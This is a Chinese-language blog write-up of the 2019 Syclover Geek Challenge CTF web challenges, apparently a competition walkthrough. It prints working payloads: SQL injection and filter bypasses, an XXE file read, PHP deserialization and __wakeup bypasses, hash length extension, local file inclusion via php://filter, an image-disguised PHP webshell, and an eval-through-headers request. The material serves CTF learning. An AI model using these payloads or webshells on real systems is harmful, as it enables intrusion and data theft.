宝塔服务器面板,一键全能部署及管理,送你10850元礼包,点我领取

1、打比赛前先撸一只猫!

F12查看元素:简单的传参令?cat=dog即出flag

2、你看见过我的菜刀么

打开页面eval($_POST[“Syc”]);搬出菜刀连接找到flag即可

3、 BurpSuiiiiiit!!!

下载附件解压使用bp的Extender导入一个java类型的查看errors即得flag

4、性感潇文清,在线算卦

打开一个登陆界面,先随意输登陆一下,出现如下
Syc 2019第10届极客大挑战wp-风君子博客
试着访问返回you are too slow,根据前面提示:试试条件竞争吧。
构造py脚本:

import requests
url='http://148.70.59.198:42534/uploads/82e0b4cbef841f493daf51a9550908794b8faca3/d033e22ae348aeb5660fc2140aec35850c4da997'
while 1:f=requests.get(url)if 'Syc' in f.text:print(f.text)

同时通过bp不断提交,即可得flag,原理可见传送门

5、Easysql

直接万能密码登陆username:’=’ ,password:’=’ 。
或者简单的字符型联合注入

6、Lovelysql

字符型联合注入

'union select 1,2,password from l0ve1ysq1-- -

7、Babysql

过滤常用关键字or,select,from,union,where,双写绕过
payload

?username=admin&password=1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql-- -

8、性感黄阿姨,在线聊天:

点击一个聊天界面我们直接flag发送并抓包,据回应将name改为admin,出现如下,当满足name == md5(flag)即可知flag文件位置
Syc 2019第10届极客大挑战wp-风君子博客php中的== 为弱相等,如16==“16” –> true,而且16==“16cdf” –> true,只取字符串中开头的整数部分,所以我们可以试着爆破name的值,爆破得值为357
Syc 2019第10届极客大挑战wp-风君子博客可知flag所在文件_f14g_Is_Here_.php,XXE构造payload使用php伪协议读取文件,XXE:XML External Entity Injection即xml外部实体注入漏洞
参考大牛传送

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
]>
<root>
<name>&xxe;</name>
<request>flag</request>
</root>

注:Syc 2019第10届极客大挑战wp-风君子博客将Content-Type改为application/xml这样才能执行我们的payload

9、反序列化1.0

查看源码,构造payload

<?php
class Student{public $score=10000;
}
$user=new Student();
print_r(serialize($user));
?>

最后传参序列化对象?exp=O:7:“Student”:1:{s:5:“score”;i:10000;}

10、神秘的三叶草

查看源码发现Secret.php超链接,访问出现It doesn’t come from ‘https://www.Sycsecret.com’,使用bp在请求头处添加Referer:https://www.Sycsecret.com,Referer告诉服务器该网页是从哪个页面链接过来的
Go
Syc 2019第10届极客大挑战wp-风君子博客
更改User-Agent:Syclover,出现
Syc 2019第10届极客大挑战wp-风君子博客
最终发送如下请求
Syc 2019第10届极客大挑战wp-风君子博客得到flag

11、Jiang‘s Secret

审计如下代码

<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); 
//flag放在了flag.php里
?>
</html>

php伪协议读取代码?file=php://filter/read=convert.base64-encode/resource=flag.php 之后base64解码即得flag

12、你有初恋吗

此处一只单身狗(恨呐!)
代码审计

<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {if($_COOKIE['Heart'] === md5($adore. urldecode($now))){die ($flag);}else {die('I do not love you! You are not in my heart!');}}
-->

1、通过url二次编码绕过,post
lover=%25%37%33yclover
2、哈希长度扩展攻击
使用hashpump

Input Signature:6a1ce5f4dc83320710006a786ac82c17
Input Data:syclover
Input Key Length:15
Input Data to Add:pcat

得到:
New Signature:77123c8c671874dcfd43cc6c80c511d0
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat
将Heart值改为New Signature之后将\x替换为%
post,lover=syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00pcat

13、又来一只猫

页面显示源码备份,Fuzz发现www.zip下载,关键代码

 <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

介绍下代码中出现的魔术方法
__construct():对象创建时自动被调用;
__wakeup():反序列化之前进行的回调函数;
__destruct():脚本运行结束时自动被调用;

<?php
class Name{private $username ='admin';private $password =100;public $test1="hello";protected $test2="hello";
}
$user=new Name();
print_r(serialize($user));
?>

private的参数被反序列化后变成 \00Name\00username, public的参数变成test1, protected的参数变成 \00*\00test2
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
所以payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

14、你有特洛伊么

文件上传通过fuzz,发现后缀名黑名单检验,文件头校验,文件内容检测<?
于是构造php.php

GIF89a <script language="php">@eval($_POST['code'];</script>

通过文件头及文件内容检测,将后缀名修改为.jpg上传成功
又或是DOS命令
copy 1.jpg/a+php.php/b php.jpg(b表示二进制,a表示ascii码)第一个/a表示指定以ascii格式进行复制(合并) 第二个/b表示以什么样的格式保存我们刚刚合并的那个文件,做一个图片马
之后验证未被过滤的后缀名php2,php3,php4,php5,phps,pht,phtm,phtml,发现phtml可解析。
Syc 2019第10届极客大挑战wp-风君子博客
菜刀连接,找到flag即可

15、Eval evil code

对验证码脚本

import hashlib
for i in range(1000000000):kk=hashlib.md5()kk.update(str(i).encode('utf8'))res=kk.hexdigest()if res[:4]=='8993':print(i)break

当输入eval时返回
Syc 2019第10届极客大挑战wp-风君子博客即无参数函数执行,传送门
最终请求

POST /index.php HTTP/1.1
Host: 148.70.59.198:34386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://148.70.59.198:34386
Connection: close
Referer: http://148.70.59.198:34386/
Cookie: td_cookie=2880285366; PHPSESSID=c77bd6fa17502141bc8cccad55ff3bb6
Upgrade-Insecure-Requests: 1
kk: readfile("theflag.php");payload=eval(end(getallheaders()));&code=17105